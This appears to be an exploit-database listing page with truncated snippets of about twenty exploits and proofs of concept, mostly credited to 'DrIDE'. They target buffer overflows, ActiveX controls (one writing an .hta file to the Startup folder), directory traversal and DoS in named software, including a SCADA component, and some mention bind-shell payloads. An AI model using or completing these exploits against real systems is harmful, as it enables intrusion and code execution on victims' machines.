HTML Creator & Sender <= 2.3 build 697 Local BOF Exploit (SEH)

No description provided by source. !/usr/bin/env python HTML Creator & Sender = v2.3 Build 697 Local Buffer Overflow Exploit SEH Coded By: DrIDE Based On: http://www.milw0rm.com/exploits/9446 Testd On: Windows XP SP2 Download: http://www.html-email.net/ Usage: Browse to file, enter anything for...

Image Viewer CP Gold 6 ActiveX TifMergeMultiFiles() Buffer Overflow

No description provided by source. html !-- Exploit Title: Image Viewer CP Gold 6 ActiveX TifMergeMultiFiles Buffer Overflow Exploit Found By: DrIDE Download: http://www.viscom.com Greets: bz1p, [email protected] for finding the app. Tested on: XP SP3 IE7 CVE: 0day -- object...

LiquidXML Studio 2010 ActiveX Remote 0day

No description provided by source. html object classid='clsid:E68E401C-7DB0-4F3A-88E1-159882468A79' id='target'//object script var sofa = ..\..\..\..\..\..\..\..\..\Documents and Settings\All Users\Start Menu\Programs\Startup\thedoctorisin.hta; var king = Oh noz, Look what DrIDE...

PowerISO 4.0 - Local Buffer Overflow PoC

No description provided by source. !/usr/bin/env python Poweriso 4.0 Local Buffer Overflow PoC Found By: DrIDE Tested On: XPSP3 Usage: Create New ISO, Add a New Folder, Paste to Rename Folder, Click Save Notes: This must have been fixed somewhere between 4.0 and 4.7 ''' EAX 00ADDDC0 ECX 00000000...

VLC Media Player <= 1.0.6 (.avi) - Media File Crash PoC

No description provided by source. !/usr/bin/python VLC Media Player =1.0.6 Malformed Media File Crash PoC Found By: DrIDE Tested: Windows 7, Ubuntu 9, OSX 10.6.X Download: http://www.videolan.org Notes: Register overwrites seem very unpredictable at best... Greets: Offsec and Corelan Teams...

GPG4Win GNU - Privacy Assistant PoC

No description provided by source. GPG4Win - GNU Privacy Assistant - GPA.EXE - Crash PoC Found By: DrIDE Tested On: 7RC, XPSP3 Usage: Paste this into GPA Clipboard, Verify. ''' -----BEGIN PGP MESSAGE----- Charset: ISO-8859-1 Version: GnuPG v1.4.9 GNU/Linux Comment: If you Verify me in Clipboard...

J-Integra 2.11 - ActiveX SetIdentity() Buffer Overflow Exploit

No description provided by source. !-- Exploit Title: J-Integra v2.11 ActiveX SetIdentity Buffer Overflow Exploit Found By: DrIDE Download: http://j-integra.intrinsyc.com/ Greets: bz1p, [email protected] for finding the app. Tested on: XP SP3 IE7 CVE: 0day Notes: This is not the same control as...

Mediacoder 0.7.5.4710 "Universal" SEH Buffer Overflow Exploit

No description provided by source. !/usr/bin/env python Mediacoder 0.7.5.4710 Universal SEH Buffer Overflow Exploit Coded By: DrIDE Found By: abhishek lyall Usage: Load the evil .m3u file and click on it. Download: http://www.exploit-db.com/application/14612 Tested On: Windows XPSP3 windows/exec ...

Mitsubishi MX ActiveX Component 3 - (ActUWzd.dll (WzTitle)) - Remote Exploit

No description provided by source. !-- Title: Mitsubishi MX Component v3 ActiveX 365+-Day ActUWzd.dll WzTitle By: DrIDE File: C:\MELSEC\Act\Control\ActUWzd.dll Version 1.0.0.1 Known Affected Systems: CitectScada 7.10r1 ships with this in the Extras folder. Known Affected Systems: CitectFacilities...

VLC Media Player < 0.9.6 (CUE) Local Buffer Overflow PoC

No description provided by source. !/usr/bin/env python VLC Media Player 0.9.6 .CUE Buffer Overflow PoC Found By: DrIDE Tested On: XPSP3 head = \x46\x49\x4c\x45\x20\x22 buff = \x41 10000 foot = \x2e\x42\x49\x4e\x22\x20\x42\x49\x4e\x41\x52\x59\x0d\x0a\x20\x54...

CoreFTP 2.1 b1637 - (password field) Universal BOF Exploit

No description provided by source. !/usr/bin/python Vulnerability : CoreFTP v2.1 b1637 password field Universal BOF exploit Found by : mrme seeleymagic at hotmail dot com Coded by : mrme & corelanc0d3r Download from : http://www.coreftp.com/download.html Tested on : XP SP3 En VirtualBox Greetz to...

Mongoose Web Server 2.8 - Multiple Directory Traversal Exploits

No description provided by source. Mongoose Web Server v2.8 Multiple Directory Traversal Exploits Found By: DrIDE Date: Apr. 20, 2010 Tested On: Windows 7 Download: http://code.google.com/p/mongoose/downloads/list - Description - Mongoose v2.8 is a Windows based HTTP server. This is the latest...

LiquidXML Studio 2012 ActiveX Insecure Method Executable File Creation 0day

No description provided by source. html object classid='clsid:8AEEAB4A-E1DA-4354-B800-8F0B553770E1' id='target'//object script var sofa = ..\..\..\..\..\..\..\..\..\Documents and Settings\All Users\Start Menu\Programs\Startup\thedoctorisin.hta; var king = Oh noz, Look what DrIDE...

EastFTP ActiveX Control 0Day

No description provided by source. EastFTP ActiveX Control 0Day By: DrIDE Vendor Homepage:http://www.ftpocx.com/download.htm Version: 4.6.02 Self Promotion: http://irresponsibledisclosure.blogspot.com html object classid='clsid:31AE647D-11D1-4E6A-BE2D-90157640019A' id='target'//object script var...

J-Integra 2.11 - Remote Code Execution Exploit

No description provided by source. html !-- j-integra v2.11 Remote code execution vulnerability Discovered on: Thursday, October 28, 2010, 10:10:12 PM Download: http://j-integra.intrinsyc.com/ Author: bz1p, [email protected] impact: LOW, due to the object NOT marked safe for scripting Tested on: X...

EmbedThis Appweb 3.0B.2-4 - Multiple Remote Buffer Overflow PoC

No description provided by source. !/usr/bin/python EmbedThis Appweb v3.0B.2-4 Multiple Remote Buffer Overflow PoCs Found By: DrIDE Based On: http://www.milw0rm.com/exploits/9411 Tested On: XP SP2 Notes: These don't seem to actually take down the server, they cause a fault in libappweb.dll. from...

IDEAL Migration 2009 4.5.1 - Local Buffer Overflow Exploit

No description provided by source. !/usr/bin/env python IDEAL Migration 2009 v4.5.1 Local Buffer Overflow Exploit Found By: DrIDE Usage: Right Click First Element in tree - Open Migration Project - Bind Shell Download: www.pointdev.com Tested On: Windows XPSP3 windows/shellbindtcp - 696 bytes...

IDEAL Administration 2011 11.4 - Local SEH Buffer Overflow Exploit

No description provided by source. !/usr/bin/env python IDEAL Administration 2011 v11.4 Local SEH Buffer Overflow Exploit Found By: DrIDE Usage: Migrate - Open Migration Project - Bind Shell Download: www.pointdev.com Tested On: Windows XPSP3 Notes: Another version, another exploit... come on guy...

Httpdx 1.5.4 - Multiple Denial of Service Vulnerabilities (http-ftp) PoC

No description provided by source. !/usr/bin/env python Title: httpdx v1.5.4 Remote HTTP Server DoS 0day By: DrIDE Tested: XPSP3 Download: http://httpdx.sourceforge.net Note: Server will totally crash if only running the EXE Note: Get a ffs what happened? message if running via BAT Debugging Note...

Acritum Femitter 1.03 - Directory Traversal Exploit

No description provided by source. Acritum Femitter v1.03 Directory Traversal Exploit Found By: DrIDE Date: Apr. 20, 2010 Tested On: Windows 7 Download: http://acritum.com/fem/download.htm - Description - Acritum Femitter v1.03 is a Windows based HTTP server. This is the latest version of the...